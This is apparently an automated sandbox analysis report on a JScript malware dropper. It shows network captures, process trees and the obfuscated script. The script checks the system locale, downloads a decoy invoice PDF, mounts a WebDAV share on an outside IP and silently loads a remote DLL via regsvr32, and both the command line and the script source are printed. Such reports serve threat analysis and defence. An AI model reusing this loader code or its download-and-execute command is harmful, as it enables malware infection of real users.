1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:38:49.500549078 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:38:49.500586033 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:38:49.500619888 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 07:38:49.500657082 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 07:38:49.500689030 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 07:38:49.500722885 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 07:38:49.500757933 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 07:38:49.500792980 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 07:38:49.500832081 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 07:38:49.505692959 CET	328	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1628	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:38:51.408375025 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:38:52.200010061 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:38:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:38:44
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js"
Imagebase:	0x7ff600700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:38:45
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Imagebase:	0x7ff60bbf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:38:45
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:38:45
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:38:50
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:38:50
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60bbf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:38:50
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a1c00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:38:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:38:51
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:38:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1372,i,16510586454391097802,4470097566630698236,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fijxrijj() {	fijxrijj() ➔ undefined
1	ngnbtppcl = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var elabpl = this[eywkikljz + zxlhfchv + kcmcats + gulupvqdk + klqpf + dvdyh + kxemyfsuq + yufzazg] ( this[ospwls + tzfskfbb + sdzkegypa + kcmcats + ctztdd + eywkikljz + yufzazg][iakzf + kcmcats + klqpf + zxlhfchv + yufzazg + klqpf + awtqnfd + igmbgktft + smahp + klqpf + sdzkegypa + yufzazg] ( ospwls + tzfskfbb + sdzkegypa + kcmcats + ctztdd + eywkikljz + yufzazg + goyvtnzuu + tzfskfbb + uadroqci + klqpf + owmtqyd + owmtqyd ) [hadpxz + klqpf + alldyqhti + hadpxz + klqpf + zxlhfchv + xciny] ( ahpdmi + gppbvylb + pcqkk + nxmxd + pjuujumc + iakzf + pcdokswr + hadpxz + hadpxz + pcqkk + phzxvp + isdcd + pjuujumc + pcdokswr + tzfskfbb + pcqkk + hadpxz + oxijy + iakzf + uvsfgtvsz + kxemyfsuq + yufzazg + kcmcats + uvsfgtvsz + owmtqyd + pdzrnoraz + gygfqtpr + zxlhfchv + kxemyfsuq + klqpf + owmtqyd + oxijy + dvdyh + kxemyfsuq + yufzazg + klqpf + kcmcats + kxemyfsuq + zxlhfchv + yufzazg + ctztdd + uvsfgtvsz + kxemyfsuq + zxlhfchv + owmtqyd + oxijy + rojtyhah + uvsfgtvsz + sdzkegypa + zxlhfchv + owmtqyd + klqpf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jtexxwkpe = 0 ; jtexxwkpe < ngnbtppcl[owmtqyd + klqpf + kxemyfsuq + alldyqhti + yufzazg + uadroqci] ; ++ jtexxwkpe )
4	{
5	if ( elabpl == ngnbtppcl[jtexxwkpe] )
6	{
7	elabpl = true;
8	break ;
9	}
10	}
11	if ( elabpl !== true )
12	this[ospwls + tzfskfbb + sdzkegypa + kcmcats + ctztdd + eywkikljz + yufzazg][nxyaavju + qbdqjjwv + ctztdd + yufzazg] ( );
13	this[ospwls + tzfskfbb + sdzkegypa + kcmcats + ctztdd + eywkikljz + yufzazg][iakzf + kcmcats + klqpf + zxlhfchv + yufzazg + klqpf + awtqnfd + igmbgktft + smahp + klqpf + sdzkegypa + yufzazg] ( ospwls + tzfskfbb + sdzkegypa + kcmcats + ctztdd + eywkikljz + yufzazg + goyvtnzuu + tzfskfbb + uadroqci + klqpf + owmtqyd + owmtqyd ) [kcmcats + qbdqjjwv + kxemyfsuq] ( sdzkegypa + wkciw + xciny + pdzrnoraz + caqefpn + sdzkegypa + pdzrnoraz + eywkikljz + uvsfgtvsz + ubpzrnjsd + klqpf + kcmcats + gulupvqdk + uadroqci + klqpf + owmtqyd + owmtqyd + goyvtnzuu + klqpf + vuwsog + klqpf + pdzrnoraz + laqdts + iakzf + uvsfgtvsz + wkciw + wkciw + zxlhfchv + kxemyfsuq + xciny + pdzrnoraz + gtobuyyl + dvdyh + kxemyfsuq + olscgs + uvsfgtvsz + heqfa + klqpf + laqdts + ospwls + klqpf + igmbgktft + hadpxz + klqpf + iuoubv + qbdqjjwv + klqpf + gulupvqdk + yufzazg + pdzrnoraz + laqdts + awtqnfd + qbdqjjwv + yufzazg + ioxxj + ctztdd + owmtqyd + klqpf + pdzrnoraz + uqvigxoa + yufzazg + klqpf + wkciw + eywkikljz + uqvigxoa + oxijy + ctztdd + kxemyfsuq + olscgs + uvsfgtvsz + ctztdd + sdzkegypa + klqpf + goyvtnzuu + eywkikljz + xciny + yhrthvy + pdzrnoraz + uadroqci + yufzazg + yufzazg + eywkikljz + seyjdlgzt + caqefpn + caqefpn + rgunmz + vkcvdag + fajtublr + goyvtnzuu + rgunmz + qnthf + fajtublr + goyvtnzuu + rgunmz + goyvtnzuu + zjhli + ajtpkbu + stlnajw + caqefpn + ctztdd + kxemyfsuq + olscgs + uvsfgtvsz + ctztdd + sdzkegypa + klqpf + goyvtnzuu + eywkikljz + uadroqci + eywkikljz + gtobuyyl + gtwjpswo + gtwjpswo + gulupvqdk + yufzazg + zxlhfchv + kcmcats + yufzazg + pdzrnoraz + uqvigxoa + yufzazg + klqpf + wkciw + eywkikljz + uqvigxoa + oxijy + ctztdd + kxemyfsuq + olscgs + uvsfgtvsz + ctztdd + sdzkegypa + klqpf + goyvtnzuu + eywkikljz + xciny + yhrthvy + gtwjpswo + gtwjpswo + sdzkegypa + wkciw + xciny + pdzrnoraz + caqefpn + sdzkegypa + pdzrnoraz + kxemyfsuq + klqpf + yufzazg + pdzrnoraz + qbdqjjwv + gulupvqdk + klqpf + pdzrnoraz + oxijy + oxijy + rgunmz + vkcvdag + fajtublr + goyvtnzuu + rgunmz + qnthf + fajtublr + goyvtnzuu + rgunmz + goyvtnzuu + zjhli + ajtpkbu + stlnajw + pcfcuo + iajmlefv + iajmlefv + iajmlefv + iajmlefv + oxijy + xciny + zxlhfchv + olscgs + ubpzrnjsd + ubpzrnjsd + ubpzrnjsd + kcmcats + uvsfgtvsz + uvsfgtvsz + yufzazg + oxijy + gtwjpswo + gtwjpswo + sdzkegypa + wkciw + xciny + pdzrnoraz + caqefpn + sdzkegypa + pdzrnoraz + kcmcats + klqpf + alldyqhti + gulupvqdk + olscgs + kcmcats + fajtublr + zjhli + pdzrnoraz + caqefpn + gulupvqdk + pdzrnoraz + oxijy + oxijy + rgunmz + vkcvdag + fajtublr + goyvtnzuu + rgunmz + qnthf + fajtublr + goyvtnzuu + rgunmz + goyvtnzuu + zjhli + ajtpkbu + stlnajw + pcfcuo + iajmlefv + iajmlefv + iajmlefv + iajmlefv + oxijy + xciny + zxlhfchv + olscgs + ubpzrnjsd + ubpzrnjsd + ubpzrnjsd + kcmcats + uvsfgtvsz + uvsfgtvsz + yufzazg + oxijy + zjhli + fajtublr + rgunmz + mimvump + fajtublr + zjhli + ovdvdtv + ovdvdtv + iajmlefv + mimvump + mimvump + fajtublr + ovdvdtv + ovdvdtv + goyvtnzuu + xciny + owmtqyd + owmtqyd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll",0,false) ➔ 0
14	}
15	pjuujumc = "g";
16	pjuujumc = "q";
17	pjuujumc = "H";
18	pjuujumc = "v";
19	pjuujumc = "P";
20	pjuujumc = "I";
21	pjuujumc = "j";
22	pjuujumc = "X";
23	pjuujumc = "S";
24	pjuujumc = "t";
25	pjuujumc = "K";
26	pjuujumc = "W";
27	pjuujumc = "d";
28	pjuujumc = "J";
29	pjuujumc = "c";
30	pjuujumc = "C";
31	pjuujumc = "i";
32	pjuujumc = "C";
33	pjuujumc = "N";
34	pjuujumc = "u";
35	pjuujumc = "r";
36	pjuujumc = "m";
37	pjuujumc = "G";
38	pjuujumc = "Q";
39	pjuujumc = "p";
40	pjuujumc = "K";
41	pjuujumc = "s";
42	pjuujumc = "s";
43	pjuujumc = "O";
44	pjuujumc = "Y";
45	pjuujumc = "Q";
46	pjuujumc = "w";
47	pjuujumc = "k";
48	pjuujumc = "b";
49	pjuujumc = "O";
50	pjuujumc = "K";
51	pjuujumc = "A";
52	pjuujumc = "j";
53	pjuujumc = "r";
54	pjuujumc = "i";
55	pjuujumc = "J";
56	pjuujumc = "w";
57	pjuujumc = "Q";
58	pjuujumc = "U";
59	pjuujumc = "_";
60	sdzkegypa = "r";
61	sdzkegypa = "x";
62	sdzkegypa = "i";
63	sdzkegypa = "c";
64	pcfcuo = "f";
65	pcfcuo = "V";
66	pcfcuo = "i";
67	pcfcuo = "H";
68	pcfcuo = "A";
69	pcfcuo = "x";
70	pcfcuo = "v";
71	pcfcuo = "D";
72	pcfcuo = "t";
73	pcfcuo = "X";
74	pcfcuo = "k";
75	pcfcuo = "N";
76	pcfcuo = "@";
77	klqpf = "R";
78	klqpf = "D";
79	klqpf = "n";
80	klqpf = "f";
81	klqpf = "F";
82	klqpf = "H";
83	klqpf = "y";
84	klqpf = "L";
85	klqpf = "L";
86	klqpf = "D";
87	klqpf = "I";
88	klqpf = "n";
89	klqpf = "r";
90	klqpf = "U";
91	klqpf = "Z";
92	klqpf = "B";
93	klqpf = "x";
94	klqpf = "e";
95	klqpf = "S";
96	klqpf = "I";
97	klqpf = "n";
98	klqpf = "z";
99	klqpf = "u";
100	klqpf = "L";
101	klqpf = "i";
102	klqpf = "j";
103	klqpf = "Y";
104	klqpf = "R";
105	klqpf = "e";
106	laqdts = "e";
107	laqdts = "e";
108	laqdts = "C";
109	laqdts = "g";
110	laqdts = "z";
111	laqdts = "U";
112	laqdts = "Z";
113	laqdts = "e";
114	laqdts = "N";
115	laqdts = "f";
116	laqdts = "R";
117	laqdts = "q";
118	laqdts = "W";
119	laqdts = "V";
120	laqdts = "O";
121	laqdts = "C";
122	laqdts = "n";
123	laqdts = "K";
124	laqdts = "E";
125	laqdts = "z";
126	laqdts = "q";
127	laqdts = "Q";
128	laqdts = "u";
129	laqdts = "o";
130	laqdts = "z";
131	laqdts = "u";
132	laqdts = "z";
133	laqdts = "d";
134	laqdts = "m";
135	laqdts = "h";
136	laqdts = "i";
137	laqdts = "K";
138	laqdts = "S";
139	laqdts = "L";
140	laqdts = "X";
141	laqdts = "K";
142	laqdts = "U";
143	laqdts = "l";
144	laqdts = "m";
145	laqdts = "-";
146	vuwsog = "F";
147	vuwsog = "V";
148	vuwsog = "T";
149	vuwsog = "o";
150	vuwsog = "X";
151	vuwsog = "V";
152	vuwsog = "o";
153	vuwsog = "s";
154	vuwsog = "J";
155	vuwsog = "w";
156	vuwsog = "e";
157	vuwsog = "x";
158	vuwsog = "f";
159	vuwsog = "F";
160	vuwsog = "J";
161	vuwsog = "S";
162	vuwsog = "j";
163	vuwsog = "d";
164	vuwsog = "D";
165	vuwsog = "b";
166	vuwsog = "K";
167	vuwsog = "x";
168	vuwsog = "Y";
169	vuwsog = "B";
170	vuwsog = "I";
171	vuwsog = "M";
172	vuwsog = "z";
173	vuwsog = "V";
174	vuwsog = "b";
175	vuwsog = "x";
176	phzxvp = "v";
177	phzxvp = "T";
178	phzxvp = "Z";
179	phzxvp = "o";
180	phzxvp = "n";
181	phzxvp = "p";
182	phzxvp = "e";
183	phzxvp = "A";
184	phzxvp = "v";
185	phzxvp = "W";
186	phzxvp = "n";
187	phzxvp = "E";
188	phzxvp = "a";
189	phzxvp = "I";
190	phzxvp = "C";
191	phzxvp = "V";
192	phzxvp = "P";
193	phzxvp = "l";
194	phzxvp = "U";
195	phzxvp = "R";
196	phzxvp = "g";
197	phzxvp = "v";
198	phzxvp = "q";
199	phzxvp = "b";
200	phzxvp = "t";
201	phzxvp = "w";
202	phzxvp = "q";
203	phzxvp = "f";
204	phzxvp = "N";
205	uadroqci = "h";
206	uadroqci = "l";
207	uadroqci = "C";
208	uadroqci = "G";
209	uadroqci = "T";
210	uadroqci = "v";
211	uadroqci = "N";
212	uadroqci = "h";
213	tzfskfbb = "r";
214	tzfskfbb = "V";
215	tzfskfbb = "r";
216	tzfskfbb = "L";
217	tzfskfbb = "x";
218	tzfskfbb = "u";
219	tzfskfbb = "l";
220	tzfskfbb = "x";
221	tzfskfbb = "l";
222	tzfskfbb = "C";
223	tzfskfbb = "L";
224	tzfskfbb = "P";
225	tzfskfbb = "T";
226	tzfskfbb = "v";
227	tzfskfbb = "c";
228	tzfskfbb = "f";
229	tzfskfbb = "D";
230	tzfskfbb = "E";
231	tzfskfbb = "U";
232	tzfskfbb = "J";
233	tzfskfbb = "E";
234	tzfskfbb = "k";
235	tzfskfbb = "B";
236	tzfskfbb = "H";
237	tzfskfbb = "C";
238	tzfskfbb = "i";
239	tzfskfbb = "s";
240	tzfskfbb = "u";
241	tzfskfbb = "l";
242	tzfskfbb = "i";
243	tzfskfbb = "a";
244	tzfskfbb = "v";
245	tzfskfbb = "p";
246	tzfskfbb = "w";
247	tzfskfbb = "w";
248	tzfskfbb = "S";
249	awtqnfd = "d";
250	awtqnfd = "g";
251	awtqnfd = "y";
252	awtqnfd = "e";
253	awtqnfd = "J";
254	awtqnfd = "c";
255	awtqnfd = "w";
256	awtqnfd = "G";
257	awtqnfd = "I";
258	awtqnfd = "N";
259	awtqnfd = "x";
260	awtqnfd = "A";
261	awtqnfd = "a";
262	awtqnfd = "c";
263	awtqnfd = "u";
264	awtqnfd = "V";
265	awtqnfd = "S";
266	awtqnfd = "G";
267	awtqnfd = "R";
268	awtqnfd = "s";
269	awtqnfd = "X";
270	awtqnfd = "i";
271	awtqnfd = "r";
272	awtqnfd = "w";
273	awtqnfd = "G";
274	awtqnfd = "n";
275	awtqnfd = "T";
276	awtqnfd = "q";
277	awtqnfd = "z";
278	awtqnfd = "b";
279	awtqnfd = "E";
280	awtqnfd = "l";
281	awtqnfd = "J";
282	awtqnfd = "X";
283	awtqnfd = "n";
284	awtqnfd = "p";
285	awtqnfd = "u";
286	awtqnfd = "O";
287	yufzazg = "i";
288	yufzazg = "P";
289	yufzazg = "b";
290	yufzazg = "E";
291	yufzazg = "K";
292	yufzazg = "G";
293	yufzazg = "N";
294	yufzazg = "M";
295	yufzazg = "e";
296	yufzazg = "a";
297	yufzazg = "m";
298	yufzazg = "l";
299	yufzazg = "U";
300	yufzazg = "z";
301	yufzazg = "t";
302	rgunmz = "z";
303	rgunmz = "w";
304	rgunmz = "c";
305	rgunmz = "U";
306	rgunmz = "b";
307	rgunmz = "W";
308	rgunmz = "I";
309	rgunmz = "q";
310	rgunmz = "P";
311	rgunmz = "G";
312	rgunmz = "i";
313	rgunmz = "S";
314	rgunmz = "i";
315	rgunmz = "V";
316	rgunmz = "O";
317	rgunmz = "I";
318	rgunmz = "B";
319	rgunmz = "O";
320	rgunmz = "F";
321	rgunmz = "S";
322	rgunmz = "p";
323	rgunmz = "P";
324	rgunmz = "D";
325	rgunmz = "S";
326	rgunmz = "i";
327	rgunmz = "i";
328	rgunmz = "m";
329	rgunmz = "x";
330	rgunmz = "h";
331	rgunmz = "a";
332	rgunmz = "P";
333	rgunmz = "p";
334	rgunmz = "K";
335	rgunmz = "R";
336	rgunmz = "z";
337	rgunmz = "1";
338	heqfa = "B";
339	heqfa = "A";
340	heqfa = "k";
341	isdcd = "I";
342	isdcd = "e";
343	isdcd = "l";
344	isdcd = "Q";
345	isdcd = "p";
346	isdcd = "C";
347	isdcd = "C";
348	isdcd = "R";
349	isdcd = "Q";
350	isdcd = "q";
351	isdcd = "b";
352	isdcd = "c";
353	isdcd = "A";
354	isdcd = "P";
355	isdcd = "E";
356	isdcd = "i";
357	isdcd = "g";
358	isdcd = "H";
359	isdcd = "x";
360	isdcd = "f";
361	isdcd = "M";
362	isdcd = "e";
363	isdcd = "Y";
364	isdcd = "x";
365	isdcd = "c";
366	isdcd = "C";
367	isdcd = "c";
368	isdcd = "v";
369	isdcd = "T";
370	isdcd = "B";
371	isdcd = "C";
372	isdcd = "S";
373	isdcd = "x";
374	isdcd = "i";
375	isdcd = "l";
376	isdcd = "L";
377	isdcd = "M";
378	isdcd = "o";
379	isdcd = "c";
380	isdcd = "O";
381	isdcd = "T";
382	ahpdmi = "P";
383	ahpdmi = "q";
384	ahpdmi = "P";
385	ahpdmi = "I";
386	ahpdmi = "i";
387	ahpdmi = "M";
388	ahpdmi = "y";
389	ahpdmi = "W";
390	ahpdmi = "f";
391	ahpdmi = "C";
392	ahpdmi = "I";
393	ahpdmi = "y";
394	ahpdmi = "o";
395	ahpdmi = "L";
396	ahpdmi = "Q";
397	ahpdmi = "g";
398	ahpdmi = "i";
399	ahpdmi = "s";
400	ahpdmi = "h";
401	ahpdmi = "w";
402	ahpdmi = "J";
403	ahpdmi = "w";
404	ahpdmi = "D";
405	ahpdmi = "G";
406	ahpdmi = "a";
407	ahpdmi = "K";
408	ahpdmi = "b";
409	ahpdmi = "z";
410	ahpdmi = "o";
411	ahpdmi = "F";
412	ahpdmi = "H";
413	alldyqhti = "u";
414	alldyqhti = "j";
415	alldyqhti = "c";
416	alldyqhti = "x";
417	alldyqhti = "E";
418	alldyqhti = "b";
419	alldyqhti = "k";
420	alldyqhti = "u";
421	alldyqhti = "A";
422	alldyqhti = "a";
423	alldyqhti = "K";
424	alldyqhti = "F";
